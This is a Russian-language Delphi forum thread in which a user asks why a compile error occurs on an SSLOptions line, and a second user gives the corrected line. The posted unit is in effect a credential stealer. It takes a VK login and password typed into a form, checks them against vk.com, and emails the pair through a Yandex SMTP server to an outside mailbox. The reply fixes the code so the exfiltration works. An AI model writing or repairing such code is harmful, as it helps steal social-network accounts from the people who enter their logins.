Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 01.02.2016, 17:05
Dirty Dirty вне форума
Прохожий
 
Регистрация: 01.02.2016
Сообщения: 4
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию Undeclared identifier: 'SSLOptions'

WTF?

Цитата:
[Error] Unit1.pas(60): Undeclared identifier: 'SSLOptions'
[Error] Unit1.pas(60): Missing operator or semicolon
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'


Код:

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, StdCtrls, ExtCtrls, IdAntiFreezeBase, IdAntiFreeze,
  IdMessage, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, IdSocks, IdIOHandler, IdIOHandlerSocket, IdHTTP,
  IdSSLOpenSSL, IdServerIOHandler, IdServerIOHandlerSocket;

type
  TForm1 = class(TForm)
    img1: TImage;
    edt1: TEdit;
    edt2: TEdit;
    btn1: TButton;
    btn2: TButton;
    img2: TImage;
    idsmtp1: TIdSMTP;
    idmsg1: TIdMessage;
    idntfrz1: TIdAntiFreeze;
    idhtp1: TIdHTTP;
    idscksnf1: TIdSocksInfo;
    img3: TImage;
    idslhndlrsckt1: TIdSSLIOHandlerSocket;
    img4: TImage;
    img5: TImage;
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.btn1Click(Sender: TObject);
var
 data:string;

begin

 data:=idhtp1.Get('http://vk.com/login.php?email='+edt1.text+'&pass='+edt2.Text);
 if pos('<title>Титл</title>',data) > 0 then begin
 ShowMessage('-');
 end else begin
 idscksnf1.Authentication:= saNoAuthentication;
 idscksnf1.Port:=465;// 25 уже не работает, да?     
 idscksnf1.Version:=svNoSocks;
 idslhndlrsckt1.SocksInfo:= idscksnf1;
 idSmtp1.IOHandler:= idslhndlrsckt1;
 idslhndlrsckt1.SocksInfo:=idscksnf1;
 idSmtp1.AuthenticationType:=atLogin;
 idSmtp1.SSLOptions. Method:=sslvTLSv1; //ошибка
 idSmtp1.Host:='smtp.yandex.ru'; 
 idSmtp1.Port:=465;
 idSmtp1.Username:='lol@yandex.ru'; 
 idSmtp1.Password:='lol12345'; 
 idmsg1.Body.Text:=#10#13+edt1.Text+';'+edt2.Text; 
 idmsg1.From.Text:='lol@yandex.ru';
 idmsg1.Recipients.EMailAddresses:='lol@spaces.ru';
 idmsg1.Subject:='lol';

 idSmtp1.Connect();
 if idSmtp1.Connected=true then
 idSmtp1.Send(idmsg1);
 idSmtp1.Disconnect; 
 end;


end;
end.
P.S. В папке со скомпилированой прогой лежат libeay32 и ssleay32 dll.
Ответить с цитированием
  #2  
Старый 01.02.2016, 17:43
Delphinaut Delphinaut вне форума
Прохожий
 
Регистрация: 28.01.2016
Сообщения: 11
Версия Delphi: Delphi XE
Репутация: 10
По умолчанию

Код:
idSmtp1.SSLOptions. Method:=sslvTLSv1; //ошибка
Пробуйте без пробела после точки Посмотрите, в каком юните и как SSLOptions определяется. sslvTLSv1 - это что?

Погуглил немного. Посмотрите, не является ли SSLOptions свойством TIdSSLIOHandlerSocket? Если так, тогда правильно будет:
Код:
idslhndlrsckt1.SSLOptions.Method := sslvTLSv1;

Ага, так и есть:
Цитата:
TIdSSLIOHandlerSocket.SSLOptions
...
property SSLOptions: TIdSSLOptions;
...
Description
SSLOptions

Последний раз редактировалось Delphinaut, 01.02.2016 в 18:04.
Ответить с цитированием
Этот пользователь сказал Спасибо Delphinaut за это полезное сообщение:
Dirty (01.02.2016)
  #3  
Старый 01.02.2016, 18:06
Dirty Dirty вне форума
Прохожий
 
Регистрация: 01.02.2016
Сообщения: 4
Версия Delphi: Delphi 7
Репутация: 10
По умолчанию

Чувак, ты за 5 мин.сделал то, на что я потратил день)))
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 09:32.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025